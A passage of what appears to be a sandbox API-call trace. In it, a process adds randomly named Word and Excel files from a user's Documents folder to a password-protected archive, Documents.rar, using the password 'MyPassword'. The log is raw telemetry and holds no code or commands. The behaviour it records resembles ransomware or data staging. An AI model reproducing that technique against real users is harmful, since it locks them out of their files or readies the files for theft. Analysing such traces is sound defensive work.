0x3a3910 [0068.028] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.028] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.029] GetTickCount () returned 0xa674c5 [0068.029] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14336918258) returned 1 [0068.029] GetTickCount () returned 0xa674c5 [0068.029] GetTickCount () returned 0xa674c5 [0068.029] GetTickCount () returned 0xa674c5 [0068.029] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.029] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.029] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.029] ResetEvent (hEvent=0x1a4) returned 1 [0068.029] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.030] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.030] ResetEvent (hEvent=0x1a4) returned 1 [0068.030] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.033] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.033] ResetEvent (hEvent=0x1a4) returned 1 [0068.033] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.035] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.035] GetTickCount () returned 0xa674d4 [0068.035] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14337531799) returned 1 [0068.035] GetTickCount () returned 0xa674d4 [0068.035] GetTickCount () returned 0xa674d4 [0068.035] GetTickCount () returned 0xa674d4 [0068.035] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.035] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.035] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.035] ResetEvent (hEvent=0x190) returned 1 [0068.035] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.036] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.036] ResetEvent (hEvent=0x190) returned 1 [0068.036] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.036] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.036] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.036] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.036] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0xba940 [0068.036] SetFilePointer (in: hFile=0x198, lDistanceToMove=105, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0xba9a9 [0068.036] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.037] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.037] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.037] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.037] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x12470, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x12470, lpOverlapped=0x0) returned 1 [0068.038] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.038] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.038] SetFilePointer (in: hFile=0x198, lDistanceToMove=764224, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xba940 [0068.038] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0xba940 [0068.038] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.038] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639e0 [0068.038] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639e0, Size=0x48) returned 0x39daf0 [0068.038] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.038] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639e0 [0068.038] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639e0, Size=0x48) returned 0x39db40 [0068.038] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.038] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.038] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639e0 [0068.038] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a10 [0068.038] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63a10 | out: hHeap=0x2e0000) returned 1 [0068.038] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b639e0 | out: hHeap=0x2e0000) returned 1 [0068.038] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639b0, Size=0x48) returned 0x39daf0 [0068.038] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.038] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x69, lpOverlapped=0x0) returned 1 [0068.038] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.038] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x69) returned 0x3b4b790 [0068.038] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.039] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.039] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xcce19 [0068.039] CloseHandle (hObject=0x1b0) returned 1 [0068.039] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.039] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.039] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.039] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.039] FindFirstFileW (in: lpFileName="F-YPFV_qYj4bfRfXw9yB.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.039] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.039] CreateFileW (lpFileName="F-YPFV_qYj4bfRfXw9yB.docx" (normalized: "c:\\users\\whuoxysd\\documents\\f-ypfv_qyj4bfrfxw9yb.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.039] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.039] GetTickCount () returned 0xa674d4 [0068.039] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.039] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.039] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.039] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.039] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="e8 DbP8IuWCbGEcy.docx") returned 21 [0068.039] SetWindowTextW (hWnd=0x10280, lpString="F-YPFV_qYj4bfRfXw9yB.docx") returned 1 [0068.039] GetTickCount () returned 0xa674d4 [0068.039] UpdateWindow (hWnd=0x10278) returned 1 [0068.039] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.039] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.040] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.040] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.040] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x295)) [0068.040] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.040] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14338027335) returned 1 [0068.040] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xee70, lpOverlapped=0x0) returned 1 [0068.041] ReadFile (in: hFile=0x1b0, lpBuffer=0x36aeeb0, nNumberOfBytesToRead=0xf1190, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36aeeb0*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.041] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.041] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.041] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639e0 [0068.041] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a10 [0068.041] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a10, Size=0x48) returned 0x39db40 [0068.041] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.041] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a10 [0068.041] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a10, Size=0x48) returned 0x39daf0 [0068.041] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.041] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.041] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a10 [0068.041] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a40 [0068.041] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63a40 | out: hHeap=0x2e0000) returned 1 [0068.041] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63a10 | out: hHeap=0x2e0000) returned 1 [0068.041] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639e0, Size=0x48) returned 0x39db40 [0068.041] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.041] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.041] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.043] GetTickCount () returned 0xa674d4 [0068.043] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14338310728) returned 1 [0068.043] GetTickCount () returned 0xa674d4 [0068.043] GetTickCount () returned 0xa674d4 [0068.043] GetTickCount () returned 0xa674d4 [0068.043] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.043] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.043] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.044] ResetEvent (hEvent=0x1a4) returned 1 [0068.044] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.046] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.046] ResetEvent (hEvent=0x1a4) returned 1 [0068.046] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.047] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.048] GetTickCount () returned 0xa674d4 [0068.048] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14338863003) returned 1 [0068.049] GetTickCount () returned 0xa674e4 [0068.049] GetTickCount () returned 0xa674e4 [0068.049] GetTickCount () returned 0xa674e4 [0068.049] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 1 [0068.049] GetMessageW (in: lpMsg=0x1cd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd760) returned 1 [0068.049] GetFocus () returned 0x0 [0068.049] TranslateMessage (lpMsg=0x1cd760) returned 0 [0068.049] DispatchMessageW (lpMsg=0x1cd760) returned 0x0 [0068.049] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.049] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.049] ResetEvent (hEvent=0x190) returned 1 [0068.049] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.049] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.050] ResetEvent (hEvent=0x190) returned 1 [0068.050] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.050] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.050] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.050] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.050] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0xcce19 [0068.050] SetFilePointer (in: hFile=0x198, lDistanceToMove=109, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0xcce86 [0068.050] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.050] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.050] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.051] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.051] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xeef0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xeef0, lpOverlapped=0x0) returned 1 [0068.051] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.051] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.051] SetFilePointer (in: hFile=0x198, lDistanceToMove=839193, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xcce19 [0068.052] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0xcce19 [0068.052] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639e0 [0068.052] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a10 [0068.052] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a10, Size=0x48) returned 0x39daf0 [0068.052] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.052] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a10 [0068.052] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a10, Size=0x48) returned 0x39db40 [0068.052] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.052] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.052] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a10 [0068.052] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a40 [0068.052] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63a40 | out: hHeap=0x2e0000) returned 1 [0068.052] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63a10 | out: hHeap=0x2e0000) returned 1 [0068.052] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639e0, Size=0x48) returned 0x39daf0 [0068.052] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.052] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6d, lpOverlapped=0x0) returned 1 [0068.052] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639e0 [0068.052] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6d) returned 0x3b4b810 [0068.052] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.052] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.052] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xdbd76 [0068.052] CloseHandle (hObject=0x1b0) returned 1 [0068.052] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.052] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.052] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.052] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.052] FindFirstFileW (in: lpFileName="f7H1LR6Kr4.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.052] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.052] CreateFileW (lpFileName="f7H1LR6Kr4.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\f7h1lr6kr4.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.052] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.052] GetTickCount () returned 0xa674e4 [0068.052] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.052] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.052] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.052] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.052] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="F-YPFV_qYj4bfRfXw9yB.docx") returned 25 [0068.053] SetWindowTextW (hWnd=0x10280, lpString="f7H1LR6Kr4.xlsx") returned 1 [0068.053] GetTickCount () returned 0xa674e4 [0068.053] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.053] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.053] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.053] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.053] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x2a5)) [0068.053] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.053] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14339367552) returned 1 [0068.053] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x16e06, lpOverlapped=0x0) returned 1 [0068.054] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b6e46, nNumberOfBytesToRead=0xe91fa, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b6e46*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.054] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.054] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.054] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a10 [0068.054] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a40 [0068.054] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a40, Size=0x48) returned 0x39db40 [0068.054] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.054] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a40 [0068.054] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a40, Size=0x48) returned 0x39daf0 [0068.054] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.054] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.054] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a40 [0068.054] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a70 [0068.054] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63a70 | out: hHeap=0x2e0000) returned 1 [0068.054] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63a40 | out: hHeap=0x2e0000) returned 1 [0068.054] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a10, Size=0x48) returned 0x39db40 [0068.054] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.054] 